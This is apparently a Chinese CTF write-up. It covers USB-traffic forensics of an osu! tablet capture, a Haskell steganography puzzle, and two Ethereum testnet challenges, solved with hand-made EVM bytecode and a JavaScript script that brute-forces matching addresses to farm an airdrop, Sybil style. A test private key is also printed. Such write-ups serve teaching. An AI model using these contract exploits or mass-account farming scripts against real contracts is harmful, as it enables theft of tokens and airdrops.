Misc
签到题 [274 solved]
你会玩osu!么? [10 solved]
题目描述:
你从未玩过的船新音游, osu.ppy.sh 了解一下
https://tundra-1257157477.cos.ap-chengdu.myqcloud.com/osu.pcap
题目给了一个 USB 流量包,首先我们用 Wireshark 打开看一下:
我们发现有多个设备的流量,而且整个捕获持续了很长时间,看来需要详细分析一下。
其中我们发现一个汇报为 G102 Prodigy Gaming Mouse
的罗技鼠标,但过滤后发现此设备的回报数据很少,没有什么价值。另外还发现一个汇报为 CTL-472
的设备,搜索一下发现是 Wacom 的数位板设备,是一个绝对坐标指针设备,而且它的汇报是等时间间隔(固定回报率)的。猜测可能是通过这个设备的移动轨迹提供信息。
二话不说上 tshark
过滤一下数据格式。
分析一下这个设备的数据,发现类似于如下格式:
02:e1:76:2b:e5:13:54:02:1a:00
其中第 3 和第 5 个 byte 变化幅度较小,第 2 和第 4 个 byte 变化幅度较大,可以猜测出是数位板的 x
y
坐标,分别 2 个 byte ,小端。
02:e1:x(76:2b):y(e5:13):54:02:1a:00
同时我们还知道数位板设备是可以汇报笔接触板子的压力大小的,分析数据我们可以发现倒数第 3 个 byte 是压力:
02:e1:x(76:2b):y(e5:13):54:pressure(02):1a:00
同时我们可以查到,这个设备是可以在笔一定距离悬空时仍然检测到笔位置的,那么我们可以大胆猜测笔触板后的移动轨迹里藏着信息。经过分析后找到一个合适的 pressure 阈值,给 CTL-472
设备移动轨迹画图。
The "Easier" Way
如果你有足够的耐心,还是可以找到数位板画 flag 的那一段时间的,只需要过滤出这段时间的数据,按照上面所说根据 pressure 画图,就可以得到比较清楚的结果,直接交题走人。
下面给出 whitzard
的脚本:
import turtle as t
t.screensize(2400, 2400)
t.setup(1.0, 1.0, 0, 0)
keys = open('usbdata.txt')
i=0
for line in keys:
i+=1
if len(line) == 30 and i>3000:
a0 = int(line[6:8], 16)
a1 = int(line[9:11], 16)
x = a0+a1*256
b0 = int(line[12:14], 16)
b1 = int(line[15:17], 16)
y = b0+b1*256
press = int(line[21:23], 16)
if x!=0 and y!=0:
t.setpos(x/20-500,-y/20)
if press > 2:
t.pendown()
else:
t.penup()
The "Harder" Way
但画出来发现无用的线条太多了,我们是不是漏掉了什么过滤条件?
既然题目让我们了解一下这个船新音游,那我们就了解一下,打开 osu.ppy.sh ,点击导航栏 help 进入 wiki ,首先看一下默认游戏模式玩法: https://osu.ppy.sh/help/wiki/Game_Modes/osu!
粗略翻了一下,大意就是用一个指针设备控制移动,z
x
两个按键控制点击。不过在稍下面我们发现了一个有趣的东西:
意思是我们可以在游戏中按下 c
键的同时移动光标画画?
因垂丝汀,我们回头看一下完整的 pcap 包,发现这样一个设备:
这个设备在 1.8.0
汇报状态, 1.8.1
进行数据通信,分析通信数据我们可以很容易看出这是一个典型的 USB HID Keyboard 。我们拿出所有 1.8.1
的数据,它们都是 8 byte 的,根据 USB UID spec :
同时我们查表(链接)得到游戏默认三个按键的对应 keycode :
Z: 1D
X: 1B
C: 06
那么我们只需要扫描第 2-7 byte 的值,找到任何一个 byte 值为 06
的数据包表示此时按下 C
,同时后续第一个没有任何 byte 值为 06
的数据包表示此时松开 C
。过滤出所有按下 C
的时间段内的来自 1.7.1
的数据,再画出数据所表示的点,即可得到清晰的 flag 图像。
至于 exp 脚本?这道题没有一个队伍使用此思路解题,所以留个课后练习,请大家自己动手尝试一下吧~
想起「恐怖的回忆」 [6 solved]
题目给了一份Haskell源代码(可以用[stack][stack-url]进行编译)和编译好的PE文件,一张输入图片和输出图片。阅读源代码,即可知道这份程序是如何将Flag文本隐写到图片之中的。
Haskell逻辑其实并不难,大部分和Lisp很像,唯一的坑点是理解State单子和Writer单子...如果真的想认真读的话。
代码逻辑:
- 使用0x05将Input对齐到32位
- 将对齐后的数据分组,32位一组,做分组加密
- 秘钥Key循环对齐到32位,大概是
(Key * N)[0:32]
这样 - 分组加密模式为OFB
- 加密盒的表达式为
IV' = Key Xor IV Xor 0x39 Xor 0xFF
- IV和Msg的表达式为
output = Message Xor IV'
- 加密盒的表达式为
- 将分组加密后的数据隐写到图片中,隐写方式为LSB,通道合并方式为Xor,使用R通道和G通道
- 将output图片写入磁盘
数据分组和OFB加密的过程使用了Writer单子,加密盒的部分使用了State单子...但是我没有去掉函数名称,所以就算不认真读也能猜出来吧。
解法(check脚本在源码目录下):
- 使用Setgsolve将两张图片Xor
- 再次使用Setgsolve提取Xor后图片的R,G最低位
- 使用Key和初始IV进行OFB模式解密
- 得到一长串文本,Flag在其中一行。
PS:这段文本是Brainpower的歌词...
[Blockchain] easy little trick [2 solved]
题目
0x774Fea9014010a62017C739EAcB760D8E9B40B75 ROPSTEN
function level1(?){?}
function level2(?){?}
function flag(string b64email)public payable {
require(pass2[msg.sender] && pass1[msg.sender]);
emit GetFlag(b64email, "Get flag!");
}
分析
通过2关即可到的flag,逆向出逻辑,然后想办法满足条件就行。题目地址(比赛结束已经开源了) 在线反编译器
level1
三个输入,很容易判断类型。
很容易看出要满足的条件是
block.blockHash(arg2)
需要小于10block.blockHash(block.number)
(其实就是0)需要和arg1
相等msg.sender
的代码长度为0
随便部署个合约,在constructor
里调用一下leve1,很简单第一关就过了
level2
结合的看一下,总结:
arg1
为地址的合约代码长度必须为9个字节调用合约,返回
block.difficulty
的值
9个字节比较苛刻,所以就得构造一下合约.
初始化opcode:
60 09 // runtime bytecode 长度
60 0c // runtime opcodes 位置
60 00 // 目的内存地址,设为 0 其他也行
39 // 复制到内存中
60 09 // runtime bytecode 长度
60 00 // 内存地址为 0
f3 // 返回到EVM
运行opcode
44 // 栈顶为 difficulty
60 00 // 00 20 40都行
52 // difficulty放到内存
60 20 // uint256 为 32bytes 长
60 00 // 在内存中的地址
f3 // 返回
构造好之后为opcode为6009600c60003960096000f34460005260206000f3
,发送交易创建合约,然后把合约的地址传进去就行了。
当然,还有另一种方法,由于var3 = var1 & 0xff == 0x09;
可见这里只用了一个字节,所以溢出一下长度,也是可以达到需要的条件。
有啥不对的烦请师傅们批评指正。
[Blockchain] gg bank [4 solved]
此题源码可见 0x7caa18D765e5B4c3BF0831137923841FE3e7258a
主体代码如下
contract ggbank is ggToken{
address public owner;
mapping(uint => bool) locknumber;
event GetFlag(
string b64email,
string back
);
modifier authenticate {
require(checkfriend(msg.sender));_;
}
constructor() public {
owner=msg.sender;
}
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]);
require(balances[msg.sender]>=100);
balances[msg.sender]-=100;
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
function PayForFlag(string b64email) public payable authenticate returns (bool success){
require (balances[msg.sender] > 200000);
emit GetFlag(b64email, "Get flag!");
}
}
题目的思路非常清晰,首先需要找到满足条件的地址才能开启游戏,也就是地址中含有7d7ec字符,之后你就可以取得空投,然后去争取区块奖励
在这里我的本意是让大家去争取调用goodluck函数,因为取用的随机数是区块号,我们可以算出每个地址满足条件的区块序列,之后想办法把交易塞进去就行了,因为每一次调用会扣100 token,所以我们可以部署一个合约进行判断,在目标区块前发送一堆交易过去即可,不过在设计题目时我想着这就是考考大家的脚本能力,干脆也留个薅羊毛的路子,有兴趣的可以去爆破足够的地址来完成题目。可惜考虑不周,给这个方法的限制设的太低了,做题的时候大家都是选择了爆破地址,确实只需要200个太少了点,没想到师傅们都爆的这么快,因为之前我测试时爆破account地址差不多近一分钟出一个的样子,合约地址就要快的多,一两秒就出一个,所以想着难度应该差不多,结果就让人难受了,因为题目出的比较匆忙,确实很多地方没有考虑到位,也是深表歉意。
不过在师傅们做题的过程中我也关注了合约的交易交易情况,大家都是选择了爆破account地址,有的师傅是选择了爆破出所有200个地址后一次性对它们进行转账,然后再使用这些账户获取空投,将token转移,这样算是比较快的,因为这些交易可以同时打包进同一个或临近的区块,有一些则是每爆破出一个就进行转账获取空投的操作,这样就慢很多了
看到大家都是直接选择了爆破account地址,这里我就写一下爆破合约地址的脚本,因为也是刚刚赶出来的,看着有点粗糙
首先部署一个代理的合约,当然,在这之前你得爆破出一个可用的账户地址,你可以用下面的算法跑一个出来
const util = require('ethereumjs-util');
const rlp = require('rlp');
const generate = require('ethjs-account').generate;
seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
function fuzz() {
for(var k=0;k<50000;k++){
seed=seed+Math.random().toString(36).substring(12);
for (var i=0;i<2000;i++){
res=generate(seed);
if(res.address.match("7d7ec")){
console.log(res);
return;
}
}
}
}
fuzz();
大概是库的原因,我自己跑着是有点慢,下面有一个现成的
{ privateKey:
'0x962d412e4b25cb79838330e88fa21c8698d30ab225abab15daf73ddf87d291d2',
publicKey:
'0x963d413f4d0afec97dce9d849566a193d1b4013d153eba8ae9a08385b601a195db819d84811aee849f3da5d0013b53286055980aa05d8f51625f21c721471185',
address: '0xfE319e52c5771a853487eC7d7ecA0d0987e57429' }
然后部署合约
contract attack{
ggbank target=ggbank(0x7caa18D765e5B4c3BF0831137923841FE3e7258a);
constructor(){
target.getAirdrop();
target.transfer('your account address',1000);
}
}
编译得到字节码,填入脚本,这里我爆破的是合约地址,因为合约地址的计算就是基于部署它的账户地址和该笔交易的nonce得来的,所以下面的代码主要是先随机生成私钥得到account地址后判断该地址前10个交易部署的合约的合约地址是否满足要求,满足的话我们就保存,随后统一对这些account地址转帐,然后让其发送交易,当nonce满足要求时即可部署合约,这时的合约地址就是满足题目要求的
const util = require('ethereumjs-util');
const rlp = require('rlp');
var Web3 = require("web3");
var web3 = new Web3();
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io"));
web3.eth.accounts.wallet.add('your own private key');
const generate = require('ethjs-account').generate;
seed='892hr*(&^&)nusi.dvuqGCTYBAhohskd51D1Q8E1%^;DZ1-=.@WWdvRXNI()VF6/*Z%$C51D1QV*<>FEI;]!FI;"./+-*!DQv5soi@*QS'//生成地址所用的种子,脸滚键盘
function fuzz(){
for(var k=0;k<50000;k++){
seed=seed+Math.random().toString(36).substring(12);//为避免重复,生成一定数目后对种子进行更新
for(var i=0;i<1000;i++){
res=generate(seed);
for (var j=0;j<30;j++){
encodedRlp = rlp.encode([res.address, j]);// 进行rlp编码
buf = util.sha3(encodedRlp);
contractAddress =buf.slice(12).toString('hex');//取buffer第12个字节后面的部分作为地址
if(contractAddress.match("7d7ec")){
//console.log(res);
//console.log(j);
return [res,j];
}
}
}
}
}
//部署的代理合约的字节码
var codedata="0x6080604052737caa18d765e5b4c3bf0831137923841fe3e7258a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d25f82a06040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156100ea57600080fd5b505af11580156100fe573d6000803e3d6000fd5b505050506040513d602081101561011457600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb735e765a46826f5e7d7ec2d7b13285fd85637fb8376103e86040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561020057600080fd5b505af1158015610214573d6000803e3d6000fd5b505050506040513d602081101561022a57600080fd5b81019080805190602001909291905050505060358061024a6000396000f3006080604052600080fd00a165627a7a723058206521b1bab92f54a8a4aaebafa1a446411efee324b6a8511f3e7c298f2b7a9d100029";
nonces=your nonce; //你的账户此时的nonce值
gg=[]
function attack(){
for (var i=0;i<30;i++){
web3.eth.accounts.wallet.add(gg[i][0].privateKey);
console.log(i);
var n=gg[i][1];
for(var k=0;k<n;k++){
web3.eth.sendTransaction({
from: gg[i][0].address,
to: 'your own address',
value: 50000000000000,
gas: 100000,
nonce: k,
gasPrice: 1000000000
}).catch(new Function());
}
web3.eth.sendTransaction({
from: gg[i][0].address,
to:'',
data: codedata,
nonce: n,
gas: 2000000,
gasPrice: 1000000000
}).catch(new Function());
}
}
for (var i=0;i<30;i++){
console.log(i);
gg[i]=fuzz();
}
for (var j=0;j<30;j++){
console.log(j);
web3.eth.sendTransaction({
from: 'your own address',
to: gg[j][0].address,
nonce: nonces,
value: 10000000000000000,
gas: 1000000,
gasPrice: 50000000000
}).catch(new Function());
nonces+=1;
}
setTimeout(attack,120000);
这里主要有几点需要注意,我们集中进行对account地址转账后,需要等待这些交易确认才能使用这些account地址进行下一步的操作,所以这里我是选择了等待2分钟,另外我们连接的rpc接口似乎也有着交易发送的限制,我在测试时将循环设为50时后面进行account转账并部署合约时就崩掉了,具体还得后面再调试,保险起见我就设置了一次爆破30个,不过速度还是挺快的,其实爆破用时也就不到30秒,不过等待确认用了2分钟,总体大概不到三分钟吧,这时候你就更新nonce重新跑就行了,交易直接堆在链上让它们去确认就行了,总体速度还是挺快的
至于通过goodluck函数的那条路这里就懒得写了,因为题目的设计问题在这里可能确实没薅羊毛方便,不管使用的什么方法应该都还是能学到点东西的。
Comment Closed.